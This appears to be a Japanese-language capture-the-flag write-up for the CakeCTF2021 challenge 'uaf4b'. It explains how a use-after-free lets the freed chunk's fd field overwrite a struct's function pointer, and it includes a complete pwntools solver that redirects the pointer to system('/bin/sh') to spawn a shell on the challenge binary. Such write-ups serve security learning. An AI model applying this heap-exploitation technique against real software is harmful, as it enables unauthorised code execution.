uaf4b - CakeCTF2021(My solver)

uaf4b - CakeCTF2021(Official GitHub)

方針

Use after Free によって関数ポインタをsystem関数で書き換える。

CAWSAY 構造体について

重要なのは、main.cの47〜50行目の構造体である。

freed chunkでは、fn_dialoguefdmessagebkに割り当てられる。

typedef struct {
  void (*fn_dialogue)(char*);
  char *message;
} COWSAY;

また、main.cの167〜171行目で、 cowsay->fn_dialogue(cowsay->message);が実行されることに留意しておく。

case 1:
  /* Use cowsay */
  printf("[+] You're trying to call 0x%016lx\n", (addr)cowsay->fn_dialogue);
  cowsay->fn_dialogue(cowsay->message);
  break;

malloced chunk

実際にmallocされたときのHeap領域は次の図のようになっている。

mallocedchunk

freed chunk

次に、freeすると、次の図のようになる。

freedchunk

system("/bin/sh")を呼び出す

この2つの図を見るとわかるように、関数ポインタfn_dialogueの位置にfdが割り当てられている。 つまり、fn_dialoguesystemに、COWSAY->message = /bin/shにすれば、 system("/bin/sh")が呼び出される。

Solver

from pwn import *

context(os = 'linux', arch = 'amd64')
context.log_level = 'debug'

io = process("./chall")

io.recvuntil("<system> = ")
system_addr = int(io.recvline(), 16)

io.sendlineafter("> ", "2")
io.sendlineafter("Message: ", "/bin/sh")

io.sendlineafter("> ", "4")
io.recvuntil("cowsay->message")
message_addr = int(io.recvuntil("|")[:16], 16)
print(f'{message_addr:x}')

io.sendlineafter("> ", "3") # free
io.sendlineafter("> ", "2")     # fd ↓               # bk ↓
io.sendlineafter("Message: ", p64(system_addr) + p64(message_addr)) # system(/bin/sh)

io.sendlineafter("> ", "4")
io.sendlineafter("> ", "1")

io.interactive()

最終的なHeap領域

Image from Gyazo